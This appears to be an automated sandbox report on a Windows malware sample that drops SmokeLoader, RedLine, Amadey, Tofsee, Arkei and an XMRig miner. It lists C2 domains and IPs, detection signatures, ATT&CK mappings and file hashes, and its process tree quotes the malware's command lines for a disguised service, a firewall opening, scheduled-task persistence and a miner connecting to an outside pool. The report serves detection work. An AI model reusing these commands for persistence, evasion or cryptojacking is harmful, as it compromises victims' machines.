Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-12-2021 11:07

General

  • Target

    9829a7b1f6d1ef184b90893b8061c9f6.exe

  • Size

    324KB

  • MD5

    9829a7b1f6d1ef184b90893b8061c9f6

  • SHA1

    087115d74598cc4255058ea3966a141b9704f7ac

  • SHA256

    7b3804ea5ffe8b354e7e463e2336ce4af8a27eb6bf0c6e64a2f024b9734a463f

  • SHA512

    df2af9d0a110e9240f36b1f4ae349894ac74027d0d6b0f446f19761c72b3200da066b5dbaba5a2f39e459e954293432d4490e0cac717cf0990363564622f3094

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

mubrikych.top

oxxyfix.xyz

Extracted

Family

redline

Botnet

1

C2

86.107.197.138:38133

Extracted

Family

amadey

Version

2.86

C2

185.215.113.35/d2VxjasuwS/index.php

Extracted

Family

redline

Botnet

install

C2

62.182.156.187:56323

Extracted

Family

redline

Botnet

444

C2

31.131.254.105:1498

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Arkei

    Arkei is an infostealer written in C++.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 7 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Amadey CnC Check-In

    suricata: ET MALWARE Amadey CnC Check-In

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

    suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 16 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 52 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9829a7b1f6d1ef184b90893b8061c9f6.exe
    "C:\Users\Admin\AppData\Local\Temp\9829a7b1f6d1ef184b90893b8061c9f6.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4160
    • C:\Users\Admin\AppData\Local\Temp\9829a7b1f6d1ef184b90893b8061c9f6.exe
      "C:\Users\Admin\AppData\Local\Temp\9829a7b1f6d1ef184b90893b8061c9f6.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:4580
  • C:\Users\Admin\AppData\Local\Temp\B08F.exe
    C:\Users\Admin\AppData\Local\Temp\B08F.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:4692
  • C:\Users\Admin\AppData\Local\Temp\642.exe
    C:\Users\Admin\AppData\Local\Temp\642.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:648
    • C:\Users\Admin\AppData\Local\Temp\642.exe
      C:\Users\Admin\AppData\Local\Temp\642.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1360
  • C:\Users\Admin\AppData\Local\Temp\1585.exe
    C:\Users\Admin\AppData\Local\Temp\1585.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    PID:952
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\1585.exe" & exit
      2⤵
        PID:3700
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 5
          3⤵
          • Delays execution with timeout.exe
          PID:2164
    • C:\Users\Admin\AppData\Local\Temp\1BC0.exe
      C:\Users\Admin\AppData\Local\Temp\1BC0.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1208
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hffbqglz\
        2⤵
          PID:816
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dzhfsqpw.exe" C:\Windows\SysWOW64\hffbqglz\
          2⤵
            PID:3720
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" create hffbqglz binPath= "C:\Windows\SysWOW64\hffbqglz\dzhfsqpw.exe /d\"C:\Users\Admin\AppData\Local\Temp\1BC0.exe\"" type= own start= auto DisplayName= "wifi support"
            2⤵
              PID:3600
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" description hffbqglz "wifi internet conection"
              2⤵
                PID:1592
              • C:\Windows\SysWOW64\sc.exe
                "C:\Windows\System32\sc.exe" start hffbqglz
                2⤵
                  PID:2368
                • C:\Windows\SysWOW64\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                  2⤵
                    PID:5068
                • C:\Users\Admin\AppData\Local\Temp\2045.exe
                  C:\Users\Admin\AppData\Local\Temp\2045.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1528
                  • C:\Users\Admin\AppData\Local\Temp\2045.exe
                    C:\Users\Admin\AppData\Local\Temp\2045.exe
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2672
                • C:\Windows\SysWOW64\explorer.exe
                  C:\Windows\SysWOW64\explorer.exe
                  1⤵
                  • Accesses Microsoft Outlook profiles
                  • outlook_office_path
                  • outlook_win_path
                  PID:1744
                • C:\Windows\explorer.exe
                  C:\Windows\explorer.exe
                  1⤵
                    PID:2068
                  • C:\Users\Admin\AppData\Local\Temp\2AB6.exe
                    C:\Users\Admin\AppData\Local\Temp\2AB6.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:2424
                    • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                      "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe"
                      2⤵
                      • Executes dropped EXE
                      PID:60
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\60bb09348e\
                        3⤵
                          PID:3068
                          • C:\Windows\SysWOW64\reg.exe
                            REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\60bb09348e\
                            4⤵
                              PID:2780
                          • C:\Windows\SysWOW64\schtasks.exe
                            "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN tkools.exe /TR "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe" /F
                            3⤵
                            • Creates scheduled task(s)
                            PID:2904
                      • C:\Users\Admin\AppData\Local\Temp\3601.exe
                        C:\Users\Admin\AppData\Local\Temp\3601.exe
                        1⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:2588
                        • C:\Users\Admin\AppData\Local\Temp\3601.exe
                          C:\Users\Admin\AppData\Local\Temp\3601.exe
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4252
                      • C:\Users\Admin\AppData\Local\Temp\44B8.exe
                        C:\Users\Admin\AppData\Local\Temp\44B8.exe
                        1⤵
                        • Executes dropped EXE
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        • Suspicious use of SetThreadContext
                        PID:1276
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                          2⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4996
                      • C:\Users\Admin\AppData\Local\Temp\53AD.exe
                        C:\Users\Admin\AppData\Local\Temp\53AD.exe
                        1⤵
                        • Executes dropped EXE
                        PID:3524
                        • C:\Windows\system32\cmd.exe
                          cmd /C C:\Users\Admin\AppData\Roaming\\counterstrike.exe
                          2⤵
                            PID:380
                            • C:\Users\Admin\AppData\Roaming\counterstrike.exe
                              C:\Users\Admin\AppData\Roaming\\counterstrike.exe
                              3⤵
                              • Executes dropped EXE
                              PID:4780
                        • C:\Windows\SysWOW64\hffbqglz\dzhfsqpw.exe
                          C:\Windows\SysWOW64\hffbqglz\dzhfsqpw.exe /d"C:\Users\Admin\AppData\Local\Temp\1BC0.exe"
                          1⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          PID:4764
                          • C:\Windows\SysWOW64\svchost.exe
                            svchost.exe
                            2⤵
                            • Drops file in System32 directory
                            • Suspicious use of SetThreadContext
                            • Modifies data under HKEY_USERS
                            PID:4284
                            • C:\Windows\SysWOW64\svchost.exe
                              svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                              3⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4720
                        • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                          C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                          1⤵
                          • Executes dropped EXE
                          PID:4628

                        Network

                        MITRE ATT&CK Matrix ATT&CK v6

                        Execution

                        Scheduled Task

                        1
                        T1053

                        Persistence

                        New Service

                        1
                        T1050

                        Modify Existing Service

                        1
                        T1031

                        Registry Run Keys / Startup Folder

                        1
                        T1060

                        Scheduled Task

                        1
                        T1053

                        Privilege Escalation

                        New Service

                        1
                        T1050

                        Scheduled Task

                        1
                        T1053

                        Defense Evasion

                        Disabling Security Tools

                        1
                        T1089

                        Modify Registry

                        2
                        T1112

                        Credential Access

                        Credentials in Files

                        2
                        T1081

                        Discovery

                        Query Registry

                        3
                        T1012

                        System Information Discovery

                        3
                        T1082

                        Peripheral Device Discovery

                        1
                        T1120

                        Collection

                        Data from Local System

                        2
                        T1005

                        Email Collection

                        1
                        T1114

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\2045.exe.log
                          MD5

                          41fbed686f5700fc29aaccf83e8ba7fd

                          SHA1

                          5271bc29538f11e42a3b600c8dc727186e912456

                          SHA256

                          df4e9d012687cdabd15e86bf37be15d6c822e1f50dde530a02468f0006586437

                          SHA512

                          234b2235c1ced25810a4121c5eabcbf9f269e82c126a1adc363ee34478173f8b462e90eb53f5f11533641663350b90ec1e2360fd805b10c041fab12f4da7a034

                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3601.exe.log
                          MD5

                          605f809fab8c19729d39d075f7ffdb53

                          SHA1

                          c546f877c9bd53563174a90312a8337fdfc5fdd9

                          SHA256

                          6904d540649e76c55f99530b81be17e099184bb4cad415aa9b9b39cc3677f556

                          SHA512

                          82cc12c3186ae23884b8d5c104638c8206272c4389ade56b926dfc1d437b03888159b3c790b188b54d277a262e731927e703e680ea642e1417faee27443fd5b3

                        • C:\Users\Admin\AppData\Local\Temp\1585.exe
                          MD5

                          691849b381b2d54c0756d12fb1187137

                          SHA1

                          d2b1eb4d3c95e29feafce4645967fef686442bca

                          SHA256

                          b39920035243e9f0352ba6f14251ebeaeb3e281f169eb07b690553ce4fc6fec3

                          SHA512

                          46db3499f4d6ce4ae27b846a00df6f5fbd6758071cbb74b24be0d6055d0c67e9496dfe1cf50c1094b820fc651841578f974e107b3eb21311bb19ba4817f107f9

                        • C:\Users\Admin\AppData\Local\Temp\1585.exe
                          MD5

                          691849b381b2d54c0756d12fb1187137

                          SHA1

                          d2b1eb4d3c95e29feafce4645967fef686442bca

                          SHA256

                          b39920035243e9f0352ba6f14251ebeaeb3e281f169eb07b690553ce4fc6fec3

                          SHA512

                          46db3499f4d6ce4ae27b846a00df6f5fbd6758071cbb74b24be0d6055d0c67e9496dfe1cf50c1094b820fc651841578f974e107b3eb21311bb19ba4817f107f9

                        • C:\Users\Admin\AppData\Local\Temp\19850783111134003120
                          MD5

                          d41d8cd98f00b204e9800998ecf8427e

                          SHA1

                          da39a3ee5e6b4b0d3255bfef95601890afd80709

                          SHA256

                          e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                          SHA512

                          cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                        • C:\Users\Admin\AppData\Local\Temp\19850783111134003120
                          MD5

                          d41d8cd98f00b204e9800998ecf8427e

                          SHA1

                          da39a3ee5e6b4b0d3255bfef95601890afd80709

                          SHA256

                          e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                          SHA512

                          cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                        • C:\Users\Admin\AppData\Local\Temp\1BC0.exe
                          MD5

                          10de4b4e1bd3891d21e0f674170490a0

                          SHA1

                          4319099862e3f33bb99759d85496a3623790f073

                          SHA256

                          0f3b645b8c52e24a3be903fcba25810e9c4541fe9859f3c1b783ed51d22b17d1

                          SHA512

                          e63c93c0edcfac67236df6885e05d571729fb7fe40a9a92160365d23a72546573036fa5beb89cd6f078e20e144d1b5a137915c10ecede1c675b7b4e5e827d256

                        • C:\Users\Admin\AppData\Local\Temp\1BC0.exe
                          MD5

                          10de4b4e1bd3891d21e0f674170490a0

                          SHA1

                          4319099862e3f33bb99759d85496a3623790f073

                          SHA256

                          0f3b645b8c52e24a3be903fcba25810e9c4541fe9859f3c1b783ed51d22b17d1

                          SHA512

                          e63c93c0edcfac67236df6885e05d571729fb7fe40a9a92160365d23a72546573036fa5beb89cd6f078e20e144d1b5a137915c10ecede1c675b7b4e5e827d256

                        • C:\Users\Admin\AppData\Local\Temp\2045.exe
                          MD5

                          f2f8a2b12cb2e41ffbe135b6ed9b5b7c

                          SHA1

                          f7133a7435be0377a45d6a0bd0ef56bb0198e9be

                          SHA256

                          6d969631ce713fc809012f3aa8fd56cf9ef564cc1c43d5ba85f06fddc749e4a1

                          SHA512

                          c3098730be533954cab86f8d29a40f77d551ccb6cb59ff72e9ab549277a93a257cc1a1501108c81e4c2d6d9723fe793780ffd810b9d839faa6c64e33fe52c4bd

                        • C:\Users\Admin\AppData\Local\Temp\2045.exe
                          MD5

                          f2f8a2b12cb2e41ffbe135b6ed9b5b7c

                          SHA1

                          f7133a7435be0377a45d6a0bd0ef56bb0198e9be

                          SHA256

                          6d969631ce713fc809012f3aa8fd56cf9ef564cc1c43d5ba85f06fddc749e4a1

                          SHA512

                          c3098730be533954cab86f8d29a40f77d551ccb6cb59ff72e9ab549277a93a257cc1a1501108c81e4c2d6d9723fe793780ffd810b9d839faa6c64e33fe52c4bd

                        • C:\Users\Admin\AppData\Local\Temp\2045.exe
                          MD5

                          f2f8a2b12cb2e41ffbe135b6ed9b5b7c

                          SHA1

                          f7133a7435be0377a45d6a0bd0ef56bb0198e9be

                          SHA256

                          6d969631ce713fc809012f3aa8fd56cf9ef564cc1c43d5ba85f06fddc749e4a1

                          SHA512

                          c3098730be533954cab86f8d29a40f77d551ccb6cb59ff72e9ab549277a93a257cc1a1501108c81e4c2d6d9723fe793780ffd810b9d839faa6c64e33fe52c4bd

                        • C:\Users\Admin\AppData\Local\Temp\2AB6.exe
                          MD5

                          7d782bbbbd6cb54410caef8242537cab

                          SHA1

                          ca691b9fea276140b5c95cfea35329ecfd4c592b

                          SHA256

                          6960869ade53d02d2eb6c52826785aec6524c7be92c89f5dfbc83ac986b2b14b

                          SHA512

                          962e98d23c2e50ba2ed644314340af4c73cfe8b3eaaa904431500b21f936ccc8686c147a4ea66f507d72195e920c63ecc6d435a73f87922e4dd622e8cac036b4

                        • C:\Users\Admin\AppData\Local\Temp\2AB6.exe
                          MD5

                          7d782bbbbd6cb54410caef8242537cab

                          SHA1

                          ca691b9fea276140b5c95cfea35329ecfd4c592b

                          SHA256

                          6960869ade53d02d2eb6c52826785aec6524c7be92c89f5dfbc83ac986b2b14b

                          SHA512

                          962e98d23c2e50ba2ed644314340af4c73cfe8b3eaaa904431500b21f936ccc8686c147a4ea66f507d72195e920c63ecc6d435a73f87922e4dd622e8cac036b4

                        • C:\Users\Admin\AppData\Local\Temp\3601.exe
                          MD5

                          f497ff63ca89d5513a63de1dc1bae58f

                          SHA1

                          ca6b819d4c0d27d5d737f2dc70109b87b6344bef

                          SHA256

                          ce9422ae9f6eb554748eaf832be6aced3f5ac556ed53734573c43a6e34198241

                          SHA512

                          6729da8220b548fa8b9d9f23ae39330a5dcb4ac22597121ce56dca6d433ac061502d6c270032135b321d6f4d79b4f0e7299efa961f8c7a3a49508be06cbab02a

                        • C:\Users\Admin\AppData\Local\Temp\3601.exe
                          MD5

                          f497ff63ca89d5513a63de1dc1bae58f

                          SHA1

                          ca6b819d4c0d27d5d737f2dc70109b87b6344bef

                          SHA256

                          ce9422ae9f6eb554748eaf832be6aced3f5ac556ed53734573c43a6e34198241

                          SHA512

                          6729da8220b548fa8b9d9f23ae39330a5dcb4ac22597121ce56dca6d433ac061502d6c270032135b321d6f4d79b4f0e7299efa961f8c7a3a49508be06cbab02a

                        • C:\Users\Admin\AppData\Local\Temp\3601.exe
                          MD5

                          f497ff63ca89d5513a63de1dc1bae58f

                          SHA1

                          ca6b819d4c0d27d5d737f2dc70109b87b6344bef

                          SHA256

                          ce9422ae9f6eb554748eaf832be6aced3f5ac556ed53734573c43a6e34198241

                          SHA512

                          6729da8220b548fa8b9d9f23ae39330a5dcb4ac22597121ce56dca6d433ac061502d6c270032135b321d6f4d79b4f0e7299efa961f8c7a3a49508be06cbab02a

                        • C:\Users\Admin\AppData\Local\Temp\44B8.exe
                          MD5

                          9230bfe605cb9f137e9c7f581473e0e0

                          SHA1

                          a53314a5846cf0ef10ae265c65222635569df125

                          SHA256

                          de6cfcbf92e5b6ddd7b18c96a150f85d76cf57d456d3f3277cff4d804e1b8d59

                          SHA512

                          aefdbea343ad07edd3e93bbe9ba6ba66dd24bebfad1d286c84c729d8edbb52f12c350ea9ab9cb22bee60b1a6cce9d01cc01032914f9c5c8dd15ee36d6afdbdb1

                        • C:\Users\Admin\AppData\Local\Temp\44B8.exe
                          MD5

                          9230bfe605cb9f137e9c7f581473e0e0

                          SHA1

                          a53314a5846cf0ef10ae265c65222635569df125

                          SHA256

                          de6cfcbf92e5b6ddd7b18c96a150f85d76cf57d456d3f3277cff4d804e1b8d59

                          SHA512

                          aefdbea343ad07edd3e93bbe9ba6ba66dd24bebfad1d286c84c729d8edbb52f12c350ea9ab9cb22bee60b1a6cce9d01cc01032914f9c5c8dd15ee36d6afdbdb1

                        • C:\Users\Admin\AppData\Local\Temp\53AD.exe
                          MD5

                          9f25eb870ee8a56eda7d35dc25f2241c

                          SHA1

                          7af117f07ca61a75baa2e4b183f980832b19f390

                          SHA256

                          53e95f5ab8f18a70baf702d59c2b308fb998de4cdc06d4d7d30c450e4cdfd4e3

                          SHA512

                          f39f4f99302cbcc3b0cd60a9899864ec9d2b84aa937ef1e07696043198d673908006e11cd40972bdfe0015112bc2310c03cc9467d0a2e523d5b1bc3858bd5eb2

                        • C:\Users\Admin\AppData\Local\Temp\53AD.exe
                          MD5

                          9f25eb870ee8a56eda7d35dc25f2241c

                          SHA1

                          7af117f07ca61a75baa2e4b183f980832b19f390

                          SHA256

                          53e95f5ab8f18a70baf702d59c2b308fb998de4cdc06d4d7d30c450e4cdfd4e3

                          SHA512

                          f39f4f99302cbcc3b0cd60a9899864ec9d2b84aa937ef1e07696043198d673908006e11cd40972bdfe0015112bc2310c03cc9467d0a2e523d5b1bc3858bd5eb2

                        • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                          MD5

                          7d782bbbbd6cb54410caef8242537cab

                          SHA1

                          ca691b9fea276140b5c95cfea35329ecfd4c592b

                          SHA256

                          6960869ade53d02d2eb6c52826785aec6524c7be92c89f5dfbc83ac986b2b14b

                          SHA512

                          962e98d23c2e50ba2ed644314340af4c73cfe8b3eaaa904431500b21f936ccc8686c147a4ea66f507d72195e920c63ecc6d435a73f87922e4dd622e8cac036b4

                        • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                          MD5

                          7d782bbbbd6cb54410caef8242537cab

                          SHA1

                          ca691b9fea276140b5c95cfea35329ecfd4c592b

                          SHA256

                          6960869ade53d02d2eb6c52826785aec6524c7be92c89f5dfbc83ac986b2b14b

                          SHA512

                          962e98d23c2e50ba2ed644314340af4c73cfe8b3eaaa904431500b21f936ccc8686c147a4ea66f507d72195e920c63ecc6d435a73f87922e4dd622e8cac036b4

                        • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                          MD5

                          7d782bbbbd6cb54410caef8242537cab

                          SHA1

                          ca691b9fea276140b5c95cfea35329ecfd4c592b

                          SHA256

                          6960869ade53d02d2eb6c52826785aec6524c7be92c89f5dfbc83ac986b2b14b

                          SHA512

                          962e98d23c2e50ba2ed644314340af4c73cfe8b3eaaa904431500b21f936ccc8686c147a4ea66f507d72195e920c63ecc6d435a73f87922e4dd622e8cac036b4

                        • C:\Users\Admin\AppData\Local\Temp\642.exe
                          MD5

                          d049aba50c77642e523353fdc86c690f

                          SHA1

                          539718641f947e3c87128ad5a2a200643ea4e855

                          SHA256

                          bdeedae6677fbee2c6d82d1f643fe179a3562c294413f7cbfbe61f46634e1311

                          SHA512

                          d87df38f92fa4ad375ba0bb1e37ab775e517ee86bdbfabcd62b7c2e414ed42dee4bf844434b707b4876356f628e4a96a9a22494dec75c984e97c058077e8ef34

                        • C:\Users\Admin\AppData\Local\Temp\642.exe
                          MD5

                          d049aba50c77642e523353fdc86c690f

                          SHA1

                          539718641f947e3c87128ad5a2a200643ea4e855

                          SHA256

                          bdeedae6677fbee2c6d82d1f643fe179a3562c294413f7cbfbe61f46634e1311

                          SHA512

                          d87df38f92fa4ad375ba0bb1e37ab775e517ee86bdbfabcd62b7c2e414ed42dee4bf844434b707b4876356f628e4a96a9a22494dec75c984e97c058077e8ef34

                        • C:\Users\Admin\AppData\Local\Temp\642.exe
                          MD5

                          d049aba50c77642e523353fdc86c690f

                          SHA1

                          539718641f947e3c87128ad5a2a200643ea4e855

                          SHA256

                          bdeedae6677fbee2c6d82d1f643fe179a3562c294413f7cbfbe61f46634e1311

                          SHA512

                          d87df38f92fa4ad375ba0bb1e37ab775e517ee86bdbfabcd62b7c2e414ed42dee4bf844434b707b4876356f628e4a96a9a22494dec75c984e97c058077e8ef34

                        • C:\Users\Admin\AppData\Local\Temp\B08F.exe
                          MD5

                          265ed6f79387305a37bd4a598403adf1

                          SHA1

                          c0647e1d4a77715a54141e4898bebcd322f3d9da

                          SHA256

                          1c10d4f9c74cbfb4478aa18e3430ea14c07da31ca819ffb8bea5d6e30218bff5

                          SHA512

                          1a7c615cab3ebe9910282b01bec5f5eb9558f40d716c4b0914e15d3d8b59e7d4bc37569575c8d9ba612613e1298f3f390d0bbaa153975f40ec262cea27b58b62

                        • C:\Users\Admin\AppData\Local\Temp\B08F.exe
                          MD5

                          265ed6f79387305a37bd4a598403adf1

                          SHA1

                          c0647e1d4a77715a54141e4898bebcd322f3d9da

                          SHA256

                          1c10d4f9c74cbfb4478aa18e3430ea14c07da31ca819ffb8bea5d6e30218bff5

                          SHA512

                          1a7c615cab3ebe9910282b01bec5f5eb9558f40d716c4b0914e15d3d8b59e7d4bc37569575c8d9ba612613e1298f3f390d0bbaa153975f40ec262cea27b58b62

                        • C:\Users\Admin\AppData\Local\Temp\dzhfsqpw.exe
                          MD5

                          8ce3f994d75466d6af5792c5784b3af3

                          SHA1

                          0aab0129fbde404bc237ae8d64ab3877b7fe5708

                          SHA256

                          a286699a2972b4142825b92d7e165f0a460f4da8885d00cad18be080cfc86c14

                          SHA512

                          0fdac143ef864692765a9a3f51007753d1114dc2eaa741fc71a5e6e3a32ee2b7fbf1a4a42d779e4fdcc065abaa2574fa48f43e42f51f20145044f662615bdd2a

                        • C:\Users\Admin\AppData\Roaming\counterstrike.exe
                          MD5

                          cd8671cff80054854e871d2167b8637e

                          SHA1

                          6a5e71b1de7224d8b2ef9515c90ffed2510f9c6f

                          SHA256

                          25152e00647e224c2dcc3a45f479e071777e87582070137ab34a3085649da6fe

                          SHA512

                          e740a53ebbbc391c4f38a923a5dbb809e91355b32ece66e37abca94c9a4ffa5c1bc902b2834a2bb24b9e58a5e684448856b9738afb42f32e8f2f2ff2f8000a7b

                        • C:\Users\Admin\AppData\Roaming\counterstrike.exe
                          MD5

                          cd8671cff80054854e871d2167b8637e

                          SHA1

                          6a5e71b1de7224d8b2ef9515c90ffed2510f9c6f

                          SHA256

                          25152e00647e224c2dcc3a45f479e071777e87582070137ab34a3085649da6fe

                          SHA512

                          e740a53ebbbc391c4f38a923a5dbb809e91355b32ece66e37abca94c9a4ffa5c1bc902b2834a2bb24b9e58a5e684448856b9738afb42f32e8f2f2ff2f8000a7b

                        • C:\Windows\SysWOW64\hffbqglz\dzhfsqpw.exe
                          MD5

                          8ce3f994d75466d6af5792c5784b3af3

                          SHA1

                          0aab0129fbde404bc237ae8d64ab3877b7fe5708

                          SHA256

                          a286699a2972b4142825b92d7e165f0a460f4da8885d00cad18be080cfc86c14

                          SHA512

                          0fdac143ef864692765a9a3f51007753d1114dc2eaa741fc71a5e6e3a32ee2b7fbf1a4a42d779e4fdcc065abaa2574fa48f43e42f51f20145044f662615bdd2a

                        • \ProgramData\mozglue.dll
                          MD5

                          8f73c08a9660691143661bf7332c3c27

                          SHA1

                          37fa65dd737c50fda710fdbde89e51374d0c204a

                          SHA256

                          3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd

                          SHA512

                          0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89

                        • \ProgramData\nss3.dll
                          MD5

                          bfac4e3c5908856ba17d41edcd455a51

                          SHA1

                          8eec7e888767aa9e4cca8ff246eb2aacb9170428

                          SHA256

                          e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

                          SHA512

                          2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

                        • \ProgramData\sqlite3.dll
                          MD5

                          e477a96c8f2b18d6b5c27bde49c990bf

                          SHA1

                          e980c9bf41330d1e5bd04556db4646a0210f7409

                          SHA256

                          16574f51785b0e2fc29c2c61477eb47bb39f714829999511dc8952b43ab17660

                          SHA512

